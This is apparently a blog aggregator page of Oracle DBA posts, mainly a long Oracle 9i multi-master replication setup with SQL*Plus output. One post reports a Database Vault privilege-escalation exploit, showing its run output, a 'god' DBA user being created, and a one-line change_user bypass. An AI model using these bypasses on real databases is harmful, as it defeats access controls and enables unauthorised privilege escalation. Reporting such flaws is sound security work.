Blog Aggregator
Oracle 9i Multi Master Advance Replication setup, testing and troubleshooting
Objective:
This paper is related to the Multi Master Replication setup, testing and troubleshooting.
Introduction:
In this Multi Master Replication testing two machines are being used.
There will be two databases on the two different machines i.e.
a) Master1 (Master definition Site)
This site will be used for the administration of the Replication setup.
b) Master2
This will act as a second Master site in the Replication.
Replication Setup Procedure:
On Master1 Database:
1- Check the init parameters
a) SQL> show parameter compatible
NAME TYPE VALUE
———————————— ———– ——————————
compatible string 9.2.0.0.0
It should be same as the Oracle 9i Release which is being used for the Replication
b) SQL> show parameter shared_pool_size
NAME TYPE VALUE
———————————— ———– ——————————
shared_pool_size big integer 50331648
Add 110MB in the shared_pool_size
c) SQL> show parameter processes
NAME TYPE VALUE
———————————— ———– ——————————
aq_tm_processes integer 1
db_writer_processes integer 1
job_queue_processes integer 10
log_archive_max_processes integer 2
processes integer 150
Add 12 to the processes
d) SQL> show parameter global_names
NAME TYPE VALUE
———————————— ———– ——————————
global_names boolean FALSE
It should be TRUE
e) SQL> show parameter db_domain
NAME TYPE VALUE
———————————— ———– ——————————
db_domain string
It is the extension component of the local databases Global Name
f) SQL> show parameter open_links
NAME TYPE VALUE
———————————— ———– ——————————
open_links integer 4
open_links_per_instance integer 4
Add 2 for each master site into open_links
g) distributed_transaction * need to be clarify
h) SQL> show parameter replication
NAME TYPE VALUE
———————————— ———– ——————————
replication_dependency_tracking boolean TRUE
i) NAME TYPE VALUE
———————————— ———– ——————————
job_queue_processes integer 10
Add 1 per additional Master
k) SQL> show parameter servers
NAME TYPE VALUE
———————————— ———– ——————————
parallel_max_servers integer 5
parallel_min_servers integer 0
set parallel_max_servers to 10
set parallel_min_servers to 2
2- Check the init parameters after modifications
a) SQL> show parameter compatible
NAME TYPE VALUE
———————————— ———– ——————————
compatible string 9.2.0.0.0
b) SQL> show parameter shared_pool_size
NAME TYPE VALUE
———————————— ———– ——————————
shared_pool_size big integer 167772160
c) SQL> show parameter processes
NAME TYPE VALUE
———————————— ———– ——————————
aq_tm_processes integer 1
db_writer_processes integer 1
job_queue_processes integer 11
log_archive_max_processes integer 2
processes integer 170
d) SQL> show parameter global_names
NAME TYPE VALUE
———————————— ———– ——————————
global_names boolean TRUE
e) SQL> show parameter db_domain
NAME TYPE VALUE
———————————— ———– ——————————
db_domain string world
f) SQL> show parameter open_links
NAME TYPE VALUE
———————————— ———– ——————————
open_links integer 6
open_links_per_instance integer 4
g) SQL> show parameter replication
NAME TYPE VALUE
———————————— ———– ——————————
replication_dependency_tracking boolean TRUE
h) SQL> show parameter job
NAME TYPE VALUE
———————————— ———– ——————————
job_queue_processes integer 11
i) SQL> show parameter parallel_max_servers
NAME TYPE VALUE
———————————— ———– ——————————
parallel_max_servers integer 10
SQL> show parameter parallel_min_servers
NAME TYPE VALUE
———————————— ———– ——————————
parallel_min_servers integer 2
3- Check the Tablespace Free Space
1 select tablespace_name,sum(bytes)/1024/1024 Free_Space
2 from dba_free_space
3* group by tablespace_name
SQL> /
TABLESPACE_NAME FREE_SPACE
—————————— ———-
CWMLITE 10.625
DRSYS 10.3125
EXAMPLE .125
INDX 24.9375
ODM 10.6875
SYSTEM 4.25
TOOLS 3.9375
UNDOTBS1 189.9375
USERS 24.9375
XDB .1875
System Tablespace should have 80MB free space
Undo Tablespace should have 60 MB free space
3.1) Increase the required space
a) Check the total space for each tablespace in database
SQL> l
1 select file_name,bytes/1024/1024
2* from dba_data_files
SQL> /
FILE_NAME BYTES/1024/1024
——————————————————- —————
G:\ORACLEPDB\ORADATA\MASTER1\SYSTEM01.DBF 400
G:\ORACLEPDB\ORADATA\MASTER1\UNDOTBS01.DBF 200
G:\ORACLEPDB\ORADATA\MASTER1\CWMLITE01.DBF 20
G:\ORACLEPDB\ORADATA\MASTER1\DRSYS01.DBF 20
G:\ORACLEPDB\ORADATA\MASTER1\EXAMPLE01.DBF 148.75
G:\ORACLEPDB\ORADATA\MASTER1\INDX01.DBF 25
G:\ORACLEPDB\ORADATA\MASTER1\ODM01.DBF 20
G:\ORACLEPDB\ORADATA\MASTER1\TOOLS01.DBF 10
G:\ORACLEPDB\ORADATA\MASTER1\USERS01.DBF 25
G:\ORACLEPDB\ORADATA\MASTER1\XDB01.DBF 38.125
b) Increase the system tablespace
1* alter database datafile ‘G:\ORACLEPDB\ORADATA\MASTER1\SYSTEM01.DBF’ resize 600m
SQL> /
Database altered.
c) Check the Free space again.
1 select tablespace_name,sum(bytes)/1024/1024 Free_Space
2 from dba_free_space
3* group by tablespace_name
SQL> /
TABLESPACE_NAME FREE_SPACE
—————————— ———-
CWMLITE 10.625
DRSYS 10.3125
EXAMPLE .125
INDX 24.9375
ODM 10.6875
SYSTEM 204.25
TOOLS 3.9375
UNDOTBS1 189.8125
USERS 24.9375
XDB .1875
4- Install the Replication catalog:
Oracle 9i does not required to install the Replication Catalog
5- Net9 configuration:
MASTER1 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = localhost)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = master1)
)
)
MASTER2 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.100.0.200)(PORT = 1521))
)
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = master2)
)
)
6- Creation of Replication Administrator (REPADMIN):
SQL> create user repadmin identified by repadmin
2 default tablespace tools
3 temporary tablespace temp
4 quota unlimited on tools
5 quota unlimited on temp
6 quota 0 on system;
User created.
SQL> grant connect, resource to repadmin;
Grant succeeded.
SQL> exec dbms_repcat_admin.grant_admin_any_schema(’REPADMIN’)
PL/SQL procedure successfully completed.
SQL> grant comment any table to repadmin;
Grant succeeded.
SQL> grant lock any table to repadmin;
Grant succeeded.
7- Creation of Replication Propagator / Receiver:
The propagator user is responsible to forward the deferred transactions from the source master site to the destination master site.
The receiver user is responsible for applying these transactions at the destination master site.
The replication administrator, propagator and receiver are normally the same user i.e. REPADMIN
Register the REPADMIN as the propagator
SQL> execute dbms_defer_sys.register_propagator(’REPADMIN’)
PL/SQL procedure successfully completed. SQL> grant execute any procedure to repadmin;
Grant succeeded.
8- Creation of Schema Owner
This user is usually responsible for the day-to-day administration of the schema that replication objects are created upon and can be the same user or a separate user from REPADMIN.
SQL> ed
Wrote file afiedt.buf
1 create user repdba identified by repdba
2 default tablespace users
3 temporary tablespace temp
4 quota unlimited on users
5 quota unlimited on temp
6* quota 0 on system
SQL> /
User created.
9- Create Database Links
All databases participating in the Replication must have a unique global name. The global name should be the same as the database name.
a) Check the global_name
SQL> select *
2 from global_name
3 ;
GLOBAL_NAME
——————————————————–
MASTER1.US.ORACLE.COM
b) Change the global_name
SQL> update global_name
2 set global_name=’MASTER1′;
1 row updated.
SQL> commit;
Commit complete.
c) Check the global_name
SQL> select *
2 from global_name;
GLOBAL_NAME
—————————————
MASTER1
10- Create the Public Database Link
a) Check the database links in the database
SQL> select *
2 from dba_db_links;
no rows selected
b) Create the public database link
1 create public database link master2
2* using ‘master2′
SQL> /
Database link created.
c) Check the database link
1 select *
2* from dba_db_links
SQL> /
OWNER DB_LINK USERNAME HOST CREATED
—————————— ——————– —————————— ———- ———
PUBLIC MASTER2 master2 15-MAY-04
11- Create the Private Database Link for REPADMIN
a) Create the private database link by connecting as REPADMIN
1 create database link master2
2* connect to repadmin identified by repadmin
3 /
Database link created.
b) Check the database link
SQL> l
1 select *
2* from dba_db_links
SQL> /
OWNER DB_LINK USERNAME HOST CREATED
———- ——————– —————————— ———- ———
PUBLIC MASTER2 master2 17-MAY-04
REPADMIN MASTER2 REPADMIN 17-MAY-04
12- Schedule “push” and “purge” jobs:
a) Connect with REPADMIN
b) Set up the “push” job to push the deferred queue automatically.
1 begin
2 dbms_defer_sys.schedule_push (
3 DESTINATION => ‘master2′,
4 INTERVAL => ‘/*1:Mins*/ sysdate + 10/(60*24)’,
5 NEXT_DATE => sysdate,
6 STOP_ON_ERROR => FALSE,
7 delay_seconds => 0,
8 PARALLELISM => 1);
9* end;
SQL> /
PL/SQL procedure successfully completed.
c) Set up the “purge” job to purge the deferred queue automatically.
SQL> begin
2 dbms_defer_sys.schedule_purge(
3 next_date => sysdate,
4 interval => ‘/*1:Hr*/ sysdate + 1/24′,
5 delay_seconds => 0,
6 rollback_segment => ”);
7 end;
8 /
PL/SQL procedure successfully completed.
On Master2 Database:
1- Check the init parameters
SQL> show parameter compatible
NAME TYPE VALUE
———————————— ———– ——————————
compatible string 9.2.0.0.0
It should be same as the Oracle 9i Release which is being used for the Replication
b) SQL> show parameter shared_pool_size
NAME TYPE VALUE
———————————— ———– ——————————
shared_pool_size big integer 50331648
Add 110MB in the shared_pool_size
c) SQL> SQL> show parameter processes
NAME TYPE VALUE
———————————— ———– ——————————
aq_tm_processes integer 1
db_writer_processes integer 1
job_queue_processes integer 10
log_archive_max_processes integer 2
processes integer 150
Add 12 to the processes
d) SQL> SQL> show parameter global_names
NAME TYPE VALUE
———————————— ———– ——————————
global_names boolean FALSE
It should be TRUE
e) SQL> SQL> show parameter db_domain
NAME TYPE VALUE
———————————— ———– ——————————
db_domain string world
It is the extension component of the local databases Global Name
f) SQL> SQL> show parameter open_links
NAME TYPE VALUE
———————————— ———– ——————————
open_links integer 4
open_links_per_instance integer 4
Add 2 for each master site into open_links
g) distributed_transaction * need to be clarify
h) SQL> SQL> show parameter replication
NAME TYPE VALUE
———————————— ———– ——————————
replication_dependency_tracking boolean TRUE
i) SQL> show parameter job_queue
NAME TYPE VALUE
———————————— ———– ——————————
job_queue_processes integer 10
Add 1 per additional Master
k) SQL> SQL> show parameter servers
NAME TYPE VALUE
———————————— ———– ——————————
parallel_max_servers integer 5
parallel_min_servers integer 0
set parallel_max_servers to 10
set parallel_min_servers to 2
2- Check the init parameters after modifications
a) SQL> show parameter compatible
NAME TYPE VALUE
———————————— ———– ——————————
compatible string 9.2.0.0.0
b) SQL> SQL> show parameter shared_pool_size
NAME TYPE VALUE
———————————— ———– ——————————
shared_pool_size big integer 167772160
c) SQL> SQL> show parameter processes
NAME TYPE VALUE
———————————— ———– ——————————
aq_tm_processes integer 1
db_writer_processes integer 1
job_queue_processes integer 11
log_archive_max_processes integer 2
processes integer 170
d) SQL> SQL> show parameter global_names
NAME TYPE VALUE
———————————— ———– ——————————
global_names boolean TRUE
e) SQL> SQL> show parameter db_domain ***
NAME TYPE VALUE
———————————— ———– ——————————
db_domain string
f) SQL> SQL> show parameter open_links
NAME TYPE VALUE
———————————— ———– ——————————
open_links integer 6
open_links_per_instance integer 4
g) SQL> SQL> show parameter replication
NAME TYPE VALUE
———————————— ———– ——————————
replication_dependency_tracking boolean TRUE
h) SQL> SQL> show parameter job
NAME TYPE VALUE
———————————— ———– ——————————
job_queue_processes integer 11
i) SQL> SQL> show parameter parallel_max_servers
NAME TYPE VALUE
———————————— ———– ——————————
parallel_max_servers integer 10
SQL> SQL> show parameter parallel_min_servers
NAME TYPE VALUE
———————————— ———– ——————————
parallel_min_servers integer 2
3- Check the Tablespace Free Space
1 select tablespace_name,sum(bytes)/1024/1024 Free_Space
2 from dba_free_space
3* group by tablespace_name
SQL> /
TABLESPACE_NAME FREE_SPACE
—————————— ———-
CWMLITE 10.625
DRSYS 10.3125
EXAMPLE .125
INDX 24.9375
ODM 10.6875
SYSTEM 4.25
TOOLS 3.9375
UNDOTBS1 194.375
USERS 24.9375
XDB .1875
System Tablespace should have 80MB free space
Undo Tablespace should have 60 MB free space
3.1) Increase the required space
b) Check the total space for each tablespace in database
SQL> l
1 1 select file_name,bytes/1024/1024
2* from dba_data_files
SQL> /
FILE_NAME BYTES/1024/1024
——————————————————- —————
F:\ORACLESB\ORADATA\MASTER2\SYSTEM01.DBF 400
F:\ORACLESB\ORADATA\MASTER2\UNDOTBS01.DBF 200
F:\ORACLESB\ORADATA\MASTER2\CWMLITE01.DBF 20
F:\ORACLESB\ORADATA\MASTER2\DRSYS01.DBF 20
F:\ORACLESB\ORADATA\MASTER2\EXAMPLE01.DBF 148.75
F:\ORACLESB\ORADATA\MASTER2\INDX01.DBF 25
F:\ORACLESB\ORADATA\MASTER2\ODM01.DBF 20
F:\ORACLESB\ORADATA\MASTER2\TOOLS01.DBF 10
F:\ORACLESB\ORADATA\MASTER2\USERS01.DBF 25
F:\ORACLESB\ORADATA\MASTER2\XDB01.DBF 38.125
b) Increase the system tablespace
SQL> alter database datafile ‘F:\ORACLESB\ORADATA\MASTER2\SYSTEM01.DBF’ resize 600m;
Database altered.
c) SQL> select tablespace_name,sum(bytes)/1024/1024 Free_Space
2 from dba_free_space
3 group by tablespace_name
4 /
TABLESPACE_NAME FREE_SPACE
—————————— ———-
CWMLITE 10.625
DRSYS 10.3125
EXAMPLE .125
INDX 24.9375
ODM 10.6875
SYSTEM 204.25
TOOLS 3.9375
UNDOTBS1 194.375
USERS 24.9375
XDB .1875
4- Install the Replication catalog:
Oracle 9i does not required to install the Replication Catalog
5- Net9 configuration:
MASTER2 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.100.0.200)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = master2)
)
)
MASTER1 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.100.0.71)(PORT = 1526))
)
(CONNECT_DATA =
(SERVICE_NAME = master1)
)
)
6- Creation of Replication Administrator (REPADMIN):
1 create user repadmin identified by repadmin
2 default tablespace tools
3 temporary tablespace temp
4 quota unlimited on tools
5 quota unlimited on temp
6* quota 0 on system
SQL> /
User created.
SQL> grant connect, resource to repadmin;
Grant succeeded.
SQL> exec dbms_repcat_admin.grant_admin_any_schema(’REPADMIN’)
PL/SQL procedure successfully completed.
SQL> grant comment any table to repadmin;
Grant succeeded.
SQL> grant lock any table to repadmin;
Grant succeeded.
7- Creation of Replication Propagator / Receiver:
The propagator user is responsible to forward the deferred transactions from the source master site to the destination master site.
The receiver user is responsible for applying these transactions at the destination master site.
The replication administrator, propagator and receiver are normally the same user i.e. REPADMIN
Register the REPADMIN as the propagator
SQL> execute dbms_defer_sys.register_propagator(’REPADMIN’)
PL/SQL procedure successfully completed. SQL> grant execute any procedure to repadmin;
Grant succeeded.
8- Creation of Schema Owner
This user is usually responsible for the day-to-day administration of the schema that replication objects are created upon and can be the same user or a separate user from REPADMIN.
SQL> ed
Wrote file afiedt.buf
1 create user repdba identified by repdba
2 default tablespace users
3 temporary tablespace temp
4 quota unlimited on users
5 quota unlimited on temp
6* quota 0 on system
SQL> /
User created.
9- Create Database Links
All databases participating in the Replication must have a unique global name. The global name should be the same as the database name.
a) Check the global_name
SQL> select *
2 from global_name
3 ;
GLOBAL_NAME
——————————————————–
MASTER2
10-Create the Public Database Link
a) Check the database links in the database
SQL> select *
2 from dba_db_links;
no rows selected
b) Create the public database link
1 create public database link master1
2* using ‘master1′
SQL> /
Database link created.
c) Check the database link
1 select *
2* from dba_db_links
SQL> /
OWNER DB_LINK USERNAME HOST CREATED
———- —————————— —————————— ———- ———
PUBLIC MASTER1 master1 03-DEC-04
11-Create the Private Database Link for REPADMIN
a) Create the private database link by connecting as REPADMIN
1 create database link master1
2* connect to repadmin identified by repadmin
3 /
Database link created.
b) Check the database link
SQL> l
1 SQL> select *
2 from dba_db_links;
OWNER DB_LINK USERNAME HOST CREATED
———- —————————— —————————— ———- ———
PUBLIC MASTER1 master1 03-DEC-04
REPADMIN MASTER1 REPADMIN 17-MAY-04
12-Schedule “push” and “purge” jobs:
a) Connect with REPADMIN
b) Set up the “push” job to push the deferred queue automatically.
1 begin
2 dbms_defer_sys.schedule_push (
3 DESTINATION => ‘master1′,
4 INTERVAL => ‘/*10:Mins*/ sysdate + 10/(60*24)’,
5 NEXT_DATE => sysdate,
6 STOP_ON_ERROR => FALSE,
7 delay_seconds => 0,
8 PARALLELISM => 1);
9* end;
SQL> /
PL/SQL procedure successfully completed.
c) Set up the “purge” job to purge the deferred queue automatically.
SQL> begin
2 dbms_defer_sys.schedule_purge(
3 next_date => sysdate,
4 interval => ‘/*1:Hr*/ sysdate + 1/24′,
5 delay_seconds => 0,
6 rollback_segment => ”);
7 end;
8 /
PL/SQL procedure successfully completed.
Object Creation on Master1
a) Connect with REPDBA and create the following objects
DROP TABLE DEPT; CREATE TABLE DEPT (DEPTNO NUMBER(2) CONSTRAINT PK_DEPT PRIMARY KEY, DNAME VARCHAR2(14) , LOC VARCHAR2(13) ) ; DROP TABLE EMP; CREATE TABLE EMP (EMPNO NUMBER(4) CONSTRAINT PK_EMP PRIMARY KEY, ENAME VARCHAR2(10), JOB VARCHAR2(9), MGR NUMBER(4), HIREDATE DATE, SAL NUMBER(7,2), COMM NUMBER(7,2), DEPTNO NUMBER(2) CONSTRAINT FK_DEPTNO REFERENCES DEPT);SQL> conn repdba/repdba@master1
Connected.
SQL> show user
USER is “REPDBA”
SQL> DROP TABLE DEPT;
DROP TABLE DEPT
*
ERROR at line 1:
ORA-00942: table or view does not exist
SQL> CREATE TABLE DEPT
2 (DEPTNO NUMBER(2) CONSTRAINT PK_DEPT PRIMARY KEY,
3 DNAME VARCHAR2(14) ,
4 LOC VARCHAR2(13) ) ;
Table created.
SQL> DROP TABLE EMP;
DROP TABLE EMP
*
ERROR at line 1:
ORA-00942: table or view does not exist
SQL> CREATE TABLE EMP
2 (EMPNO NUMBER(4) CONSTRAINT PK_EMP PRIMARY KEY,
3 ENAME VARCHAR2(10),
4 JOB VARCHAR2(9),
5 MGR NUMBER(4),
6 HIREDATE DATE,
7 SAL NUMBER(7,2),
8 COMM NUMBER(7,2),
9 DEPTNO NUMBER(2) CONSTRAINT FK_DEPTNO REFERENCES DEPT);
Table created.
b) Create Master Replication Object Group at Master1 by connecting as REPADMIN
1 begin
2 dbms_repcat.create_master_repgroup(
3 gname => ‘”GROUP1″‘,
4 qualifier => ”,
5 group_comment => ”);
6* end;
SQL> /
PL/SQL procedure successfully completed.
c) Add Master Database
SQL> begin
2 dbms_repcat.add_master_database(
3 gname => ‘”GROUP1″‘,
4 master => ‘master2′,
5 use_existing_objects => TRUE,
6 copy_rows => TRUE,
7 propagation_mode => ‘ASYNCHRONOUS’);
8 end;
9 /
PL/SQL procedure successfully completed.
d) Create Objects into Group i.e. “group1”
1 begin
2 dbms_repcat.create_master_repobject(
3 gname => ‘”GROUP1″‘,
4 type => ‘TABLE’,
5 oname => ‘DEPT’,
6 sname => ‘”REPDBA”‘,
7 copy_rows => TRUE,
8 use_existing_object => TRUE);
9* end;
SQL> /
PL/SQL procedure successfully completed.
1 begin
2 dbms_repcat.create_master_repobject(
3 gname => ‘”GROUP1″‘,
4 type => ‘TABLE’,
5 oname => ‘EMP’,
6 sname => ‘”REPDBA”‘,
7 copy_rows => TRUE,
8 use_existing_object => TRUE);
9* end;
SQL> /
PL/SQL procedure successfully completed.
e) Generate the Replication support
SQL> begin
2 dbms_repcat.generate_replication_support(
3 sname => ‘”REPDBA”‘,
4 oname => ‘”DEPT”‘,
5 type => ‘TABLE’,
6 min_communication => TRUE);
7 end;
8 /
PL/SQL procedure successfully completed.
1 begin
2 dbms_repcat.generate_replication_support(
3 sname => ‘”REPDBA”‘,
4 oname => ‘”EMP”‘,
5 type => ‘TABLE’,
6 min_communication => TRUE);
7* end;
SQL> /
PL/SQL procedure successfully completed.
f) Resume activity on the Master1
SQL> begin
2 dbms_repcat.resume_master_activity(
3 gname => ‘”GROUP1″‘);
4 END;
5 /
PL/SQL procedure successfully completed.
Test the Replication
a) Insert rows into DEPT at Master1 site, by connecting REPDBA
INSERT INTO DEPT VALUES (10,’ACCOUNTING’,'NEW YORK’); INSERT INTO DEPT VALUES (20,’RESEARCH’,'DALLAS’); INSERT INTO DEPT VALUES (30,’SALES’,'CHICAGO’); INSERT INTO DEPT VALUES (40,’OPERATIONS’,'BOSTON’);
b) As soon as the “push” job executes at Master1 site, these inserted records will be pushed into the Master2 site. This behavior is vice versa as this is Multi Master Replication setup.
c) Insert rows into EMP at Master1 site, by connecting REPDBA
SQL> conn repdba/repdba@master1
Connected.
SQL> INSERT INTO EMP VALUES (7499,’ALLEN’,'SALESMAN’,7698,
to_date(’20-2-1981′,’dd-mm-yyyy’),1600,300,30);
1 row created.
SQL> commit;
SQL> select *
2 from emp;
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
d) Check the EMP table in Master2 site by connecting REPDBA
SQL> conn repdba/repdba@master2
Connected.
SQL> select *
2 from emp;
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
After 10 minutes again apply the SELECT statement.
SQL> select *
2 from emp;
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
The same records have been pushed to site Master2. So the Multi Master Replication
is working fine.
The same thing can be applied vice versa as well.
f) connect repdba/repdba@master2
SQL> conn repdba/repdba@master2
Connected.
g) SELECT the rows from the EMP table
SQL> select *
2 from emp;
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
h) Insert one new record into EMP table
1 INSERT INTO EMP VALUES (7521,’WARD’,'SALESMAN’,
2* 7698,to_date(’22-2-1981′,’dd-mm-yyyy’),1250,500,30)
SQL> /
1 row created.
SQL> commit;
Commit complete.
i) Again SELECT from emp
SQL> select *
2 from emp;
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
j) Now connect repdba/repdba@master1
SQL> conn repdba/repdba@master1
Connected.
k) SELECT records from the emp table
SQL> select *
2 from emp;
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
The third record has yet not been pushed to Master1 site. This will be pushed as soon as the “push” job is executed at Master2 site.
Again SELECT the records from EMP table.
SQL> select *
2 from emp
3 /
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
Now the same records have been pushed to site Master1 from Master2 site. So the Multi Master Replication is working fine from both the ends.
check the status of the propagated transaction:
a) Connect to Master1 as REPDBA
SQL> conn repdba/repdba@master1
Connected.
b) Insert one record into EMP
SQL> INSERT INTO EMP VALUES (7566,’JONES’,'MANAGER’,7839, to_date(’2-4-1981′,’dd-mm-yyyy’),2975,NULL,20);
1 row created.
SQL> commit;
c) Select the table EMP
SQL> select *
2 from emp;
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7566 JONES MANAGER 7839 02-APR-81 2975 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
d) Check the view “defcall”
SQL> select *
2 from defcall;
CALLNO DEFERRED_TRAN_ID SCHEMANAME PACKAGENAME PROCNAME ARGCOUNT
———- —————————— —————————— —————————— —————————— ———-
0 10.13.263 REPDBA EMP$RP REP_INSERT 10
e) Check the view “deftrandest”
SQL> select *
2 from deftrandest;
DEFERRED_TRAN_ID DELIVERY_ORDER DBLINK
—————————— ————– ————–
10.13.263 302468 MASTER2
f) connect to Master2 as REPDBA
SQL> conn repdba/repdba@master2
Connected.
g) Check the EMP Table
SQL> select *
2 from emp;
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
h) connect to Master1 as REPADMIN and execute the following procedure to push the transaction to the Master2
SQL> execute dbms_defer_sys.execute(’master2′);
PL/SQL procedure successfully completed.
i) Connect to Master 2 as REPDBA
SQL> conn repdba/repdba@master2
Connected.
j) Check the EMP table
SQL> /
EMPNO ENAME JOB MGR HIREDATE SAL COMM DEPTNO
———- ———- ——— ———- ——— ———- ———- ———-
7369 SMITH CLERK 7902 17-DEC-80 800 20
7521 WARD SALESMAN 7698 22-FEB-81 1250 500 30
7566 JONES MANAGER 7839 02-APR-81 2975 20
7499 ALLEN SALESMAN 7698 20-FEB-81 1600 300 30
Oracle 9i Multi Master Advance Replication setup, testing and troubleshooting
This is summary of post for full content kindly visit http://onlineAppsDBA.com
Maximizing Siebel Uptime
PIVOT and UNPIVOT in 11g…
I’m trying to get back into the swing of writing again after my 2 month layoff. It’s a little daunting, but quite fun as well.
There’s a bunch of 11g new features that didn’t make it into the OCP exam, and the PIVOT and UNPIVOT operators fall slap bang into that category.
Pretty neat!
Cheers
Tim…
Group Headings in an Interactive Report (APEX)
Create an Interactive Report on the emp table (for ex. select * from emp).
In your Interactive Report details there's a section Column Groups where you can define groups.
But it also says: "Column Groups are used to group columns together on the single row view."
In my example I created two groups.

Next we need to edit the group to say which columns belong to which group.
In my example I specified that the columns Empno and Ename belong to Group 1. I specified some other columns for my Group 2.

If you run the page you'll see this IR (without group headings)

But when you select the single row view (the Edit icon in front of the row) you'll see this:

So you can see the groups nicely in the single row view but it's not there in the normal report...
So I thought, as APEX is completely dictionary driven, we should be able to find all the pieces and with some javascript we should be able to change the DOM element to include the group headings in the normal report too. The result:
You can see this example live here, the source code is also there, so you can see how I did things.On the page I open the "Select Columns" automatically, so you can see the available columns and the groups in () and you can dynamically play with showing and hiding columns.
In short the way it works:
1) Query the APEX dictionary to see which columns and groups there are defined and return a string that can be parsed into a json object.
2) Create a javascript function to add the group headings above the column headers. I put some notes in the javascript and added a lot of console.log's. If you remove the // you'll see in Firebug a full trace what is happening.
3) To attach it to the Interactive Report and call it from your page you need to do some more. At OOW I had a chat with Carl about it, at the moment you can't call your own function at the end when the interactive report is called (but he was going to change that in future releases). Carl told me I was forced to put a little timeout there to make sure the Interactive Report was drawn before my javascript ran.
Feel free to try it in your own environment and give some feedback. The code is generic so you should be able to plug it into your environment without that much effort. I didn't use jquery as I wanted a generic solution for a "normal" APEX environment. Another thing I didn't do is looking if you defined a link (edit icon) before the row or not. So these might be enhancements for the next release...
Oracle Database Vault Privilege Escalation Exploit published
Few days ago Jakub Wartak has posted an exploit showing how to switch DV off on his blog.Jakub describes that he was surprised that Data Vault does not protect from OS side. That’s something many people are not aware of. Oracle Data Vault is not designed to protect from normal DBAs (with OS access).Here the usage of his exploit:
[oracle@xeno ora_dv_mem_off]$ !gcc
gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
ora_dv_mem_off.c: In function ‘locate_dv_func’:
ora_dv_mem_off.c:92: warning: initialization discards qualifiers from pointer
target type
ora_dv_mem_off.c:93: warning: initialization makes pointer from integer
without a cast
[oracle@xeno ora_dv_mem_off]$ ./ora_dv_mem_off
[17035] starting to trace sqlplus process (17036)
[***] NOW TYPE IN SQLPLUS: conn / as sysdba
[17035] execve() syscall in 17036
SQL*Plus: Release 10.2.0.3.0 - Production on Wed Feb 27 18:56:55 2008
Copyright (c) 1982, 2006, Oracle. All Rights Reserved.
SQL> conn / as sysdba
[17035] clone() syscall in 17036, tracing orapid=17037
[17035] execve() syscall in 17037,
[17035] symbol “kzvtins” at 0xb185820
[***] sucessfuly validated function, DatabaseVault=1
[***] attempting to rewrite memory at 0xb185824
Connected.
SQL> create user god identified by abc;
User created.
SQL> grant dba,dv_admin,dv_owner,connect,resource to god;
Grant succeeded.
Here is another (easier) way to bypass Data Vault without installing/compiling software. I found this issue a few months ago (in Oracle 11.1.0.6). After contacting secalert they told me that this issue was already fixed in Oracle CPU July 2008 (but not documented):
– run as user with DBA privleges
SQL> exec sys.kupp$proc.change_user(’DVA’);
PL/SQL procedure successfully completed.
New User Group: North India Oracle Users Group (nioug.org)
I was contacted a few months ago by some motivated individuals who were members of the Oracle RAC SIG. They wanted to start a new local Oracle user group in their region of Northern India and were looking for advice. I offered a few pointers and recently, they launched the new group - North India Oracle Users Group at nioug.org.
If you are in Northern India or have colleagues or friends that are located there, you should check out this group. If you would like to get involved by coordinating a meeting, being a speaker, or helping in any way, I’d encourage you to contact one of the individuals listed on the Board of Directors to see how you can help as a volunteer. They’re allowing registration for free (at least for now) too.
They’ve also established a blog to publish upcoming news on events and happenings with the group. It has an RSS feed, so you may want to subscribe to easily track the new posts there.
Good luck to all the volunteers and the new group!
Things I've Learned This Week
I also learned how to reset a sequence without dropping and recreating it. This was courtesy of my crazy DBA, oraclue.
Example:
SQL> CREATE SEQUENCE TEST_SEQ
2 START WITH 10
3 INCREMENT BY 10
4 MINVALUE -1000;
Sequence created.
SQL> SELECT test_seq.nextval FROM dual CONNECT BY LEVEL <= 10;
NEXTVAL
----------
10
20
